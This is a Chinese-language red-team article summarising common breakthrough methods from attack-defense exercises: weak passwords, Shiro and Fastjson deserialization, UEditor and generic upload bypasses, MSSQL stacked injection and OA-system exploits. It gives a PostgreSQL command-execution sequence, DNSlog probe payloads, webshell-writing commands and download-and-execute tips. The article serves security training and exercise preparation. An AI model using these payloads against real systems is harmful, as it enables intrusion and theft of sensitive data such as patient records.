攻防演练中攻击方的思考
字数 1981 2025-08-25 22:59:15

攻防演练中攻击方的突破方法与技术总结

前言

本文基于18+省市级别实战攻防演练和90+单位失陷报告,总结了攻击方在攻防演练中常用的突破方法和技术。重点围绕权限获取和敏感数据窃取两大得分项展开,不包含钓鱼和0day利用等高阶技术。

主要突破方法统计

根据实战数据,攻击方最常用的突破方法按出现频率排序如下:

  1. 弱口令(Web应用)
  2. Shiro反序列化
  3. 任意文件上传(通用)
  4. Fastjson反序列化
  5. 敏感信息泄露
  6. UEditor1.4.3任意文件上传
  7. MSSQL堆叠注入
  8. OA系统漏洞

详细技术解析

1. 弱口令攻击

Web应用弱口令

  • 爆破技巧

    • 尝试绕过验证码(不刷新或逻辑错误)
    • 在忘记密码处寻找用户名枚举漏洞
    • 用户名字典构建:姓名简称、工号ID、JS正则分析、Google信息搜索
    • 大量用户基数时,固定弱口令遍历用户名效果最佳
    • 管理员密码常见模式:域名简称+@年份、系统简称+年份
  • 推荐字典

其他服务弱口令

PostgreSQL

  • CVE-2019-9193(9.3至11.2版本)任意命令执行:
    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec(cmd_output text);
    COPY cmd_exec FROM PROGRAM 'whoami';
    SELECT * FROM cmd_exec;
    DROP TABLE IF EXISTS cmd_exec;
    

Redis

Jenkins弱口令

  • 后台脚本命令行执行命令
  • 使用LOLBAS技术下载执行

Adminer弱口令

  • MySQL写webshell

2. Shiro反序列化

3. 任意文件上传

  • 快速验证

    • 判断是否为后端白名单校验
    • 上传文件内容应无害,避免WAF干扰
    • 明确失败原因是程序限制还是WAF阻拦
  • 实战案例

    • 微信小程序上传漏洞
    • swagger信息泄露中的upload接口
    • 银行在线聊天系统的图片上传功能
    • 后台Kindeditor上传+文件管理重命名
  • WAF绕过

    • 利用服务器与WAF对数据包解析的差异性
    • 构造畸形数据包

4. Fastjson反序列化

  • 检测方法

    • 报错抛出异常
    • DNSlog检测:
      {"rand1":{"@type":"java.net.InetAddress","val":"gbi7ge.dnslog.cn"}}
      {"rand2":{"@type":"java.net.Inet4Address","val":"gbi7ge.dnslog.cn"}}
      {"rand3":{"@type":"java.net.Inet6Address","val":"gbi7ge.dnslog.cn"}}
      
  • WAF绕过

    • hex编码
    • 使用\b等特殊字符
  • 利用工具

5. 敏感信息泄露

  • 常见场景
    • 医院微信公众号/小程序遍历病例数据
    • swagger信息泄露构造接口查询
    • 云key泄露导入行云管家获取权限

6. UEditor1.4.3任意文件上传

  • 识别特征

    • .NET网站图片URL格式:~/ueditor~/upload/image/[20200101]/25位数字.png
    • 上传路径:~/net/controller.ashx
  • 绕过技巧

    • 使用.png?.aspx.png.aspx绕过
    • 利用UEditor过滤?的特性

7. MSSQL堆叠注入

  • 利用方法
    • --os-shell获取命令行
    • 使用certutil下载执行或powershell上线
    • 写入webshell:
      • 定位物理路径:
        for /r C:\ %i in (*xxx*) do @echo %i
        dir /s/a-d/b C:\*xxx.xxx
        
      • 写入文件:
        echo ^<一句话^> >C:\phpstudy_pro\WWW\shell.txt
        
      • 注意使用^转义特殊字符

8. OA系统漏洞

  • 常见OA类型

    • 泛微OA
    • 致远OA
    • 通达OA
    • 用友NC
  • 利用方法

    • 搜索GitHub已有漏洞利用
    • 积累未披露的利用点
    • 泛微OA的WorkflowServiceXml反序列化漏洞
  • 检测Payload

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
       <soapenv:Header/>
       <soapenv:Body>
          <web:doCreateWorkflowRequest>
            <web:string>
            <map>
            <entry>
                    <url>http://m5alw5.dnslog.cn</url>
                    <string>http://m5alw5.dnslog.cn</string>
                    </entry>
                    </map>
            </web:string>
            <web:string>2</web:string>
          </web:doCreateWorkflowRequest>
       </soapenv:Body>
    </soapenv:Envelope>
    

其他技术要点

  1. SQL注入

    • 获取敏感数据
    • 使用sqlmap时添加random-agent参数
  2. 历史遗留后门

    • 如404.jsp等非常规入口点
  3. 效率技巧

    • 优先测试常见漏洞点(上传/shiro/fastjson等)
    • 减少试错过程,避免无用功
    • "柿子捡软的捏" - 选择最容易突破的点

总结

攻防演练中攻击方的成功关键在于:

  1. 全面资产收集和识别
  2. 快速验证和利用常见漏洞
  3. 针对不同服务采用特定攻击方法
  4. 保持攻击效率,优先选择易突破点

通过系统性地应用这些技术和方法,攻击方可以在攻防演练中有效打开缺口,获取系统权限和敏感数据。

攻防演练中攻击方的突破方法与技术总结 前言 本文基于18+省市级别实战攻防演练和90+单位失陷报告,总结了攻击方在攻防演练中常用的突破方法和技术。重点围绕权限获取和敏感数据窃取两大得分项展开,不包含钓鱼和0day利用等高阶技术。 主要突破方法统计 根据实战数据,攻击方最常用的突破方法按出现频率排序如下: 弱口令(Web应用) Shiro反序列化 任意文件上传(通用) Fastjson反序列化 敏感信息泄露 UEditor1.4.3任意文件上传 MSSQL堆叠注入 OA系统漏洞 详细技术解析 1. 弱口令攻击 Web应用弱口令 爆破技巧 : 尝试绕过验证码(不刷新或逻辑错误) 在忘记密码处寻找用户名枚举漏洞 用户名字典构建:姓名简称、工号ID、JS正则分析、Google信息搜索 大量用户基数时,固定弱口令遍历用户名效果最佳 管理员密码常见模式:域名简称+@年份、系统简称+年份 推荐字典 : SuperWordlist Web-Fuzzing-Box 其他服务弱口令 PostgreSQL : CVE-2019-9193(9.3至11.2版本)任意命令执行: Redis : 连接后先执行 info 查看服务器信息 Redis 4.x/5.x RCE利用: redis-rogue-server RedisModules-ExecuteCommand-for-Windows Linux利用 : 写计划任务 写公钥 写webshell(需知道web路径) Windows利用 : 写启动项( C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup ) 写webshell(需知道web路径) 工具: RedisWriteFile Jenkins弱口令 : 后台脚本命令行执行命令 使用LOLBAS技术下载执行 Adminer弱口令 : MySQL写webshell 2. Shiro反序列化 指纹识别 : 目标发散到域名→子域名→IP→全端口 将URL导入shiro识别工具 微信公众号中也可能存在shiro应用 利用工具 : BurpShiroPassiveScan shiro_ rce_ tool shiro_ attack 3. 任意文件上传 快速验证 : 判断是否为后端白名单校验 上传文件内容应无害,避免WAF干扰 明确失败原因是程序限制还是WAF阻拦 实战案例 : 微信小程序上传漏洞 swagger信息泄露中的upload接口 银行在线聊天系统的图片上传功能 后台Kindeditor上传+文件管理重命名 WAF绕过 : 利用服务器与WAF对数据包解析的差异性 构造畸形数据包 4. Fastjson反序列化 检测方法 : 报错抛出异常 DNSlog检测: WAF绕过 : hex编码 使用 \b 等特殊字符 利用工具 : BurpFastJsonScan fastjson_ rce_ tool JNDIExploit 5. 敏感信息泄露 常见场景 : 医院微信公众号/小程序遍历病例数据 swagger信息泄露构造接口查询 云key泄露导入行云管家获取权限 6. UEditor1.4.3任意文件上传 识别特征 : .NET网站图片URL格式: ~/ueditor~/upload/image/[20200101]/25位数字.png 上传路径: ~/net/controller.ashx 绕过技巧 : 使用 .png?.aspx 或 .png.aspx 绕过 利用UEditor过滤 ? 的特性 7. MSSQL堆叠注入 利用方法 : --os-shell 获取命令行 使用certutil下载执行或powershell上线 写入webshell: 定位物理路径: 写入文件: 注意使用 ^ 转义特殊字符 8. OA系统漏洞 常见OA类型 : 泛微OA 致远OA 通达OA 用友NC 利用方法 : 搜索GitHub已有漏洞利用 积累未披露的利用点 泛微OA的WorkflowServiceXml反序列化漏洞 检测Payload : 其他技术要点 SQL注入 : 获取敏感数据 使用sqlmap时添加 random-agent 参数 历史遗留后门 : 如404.jsp等非常规入口点 效率技巧 : 优先测试常见漏洞点(上传/shiro/fastjson等) 减少试错过程,避免无用功 "柿子捡软的捏" - 选择最容易突破的点 总结 攻防演练中攻击方的成功关键在于: 全面资产收集和识别 快速验证和利用常见漏洞 针对不同服务采用特定攻击方法 保持攻击效率,优先选择易突破点 通过系统性地应用这些技术和方法,攻击方可以在攻防演练中有效打开缺口,获取系统权限和敏感数据。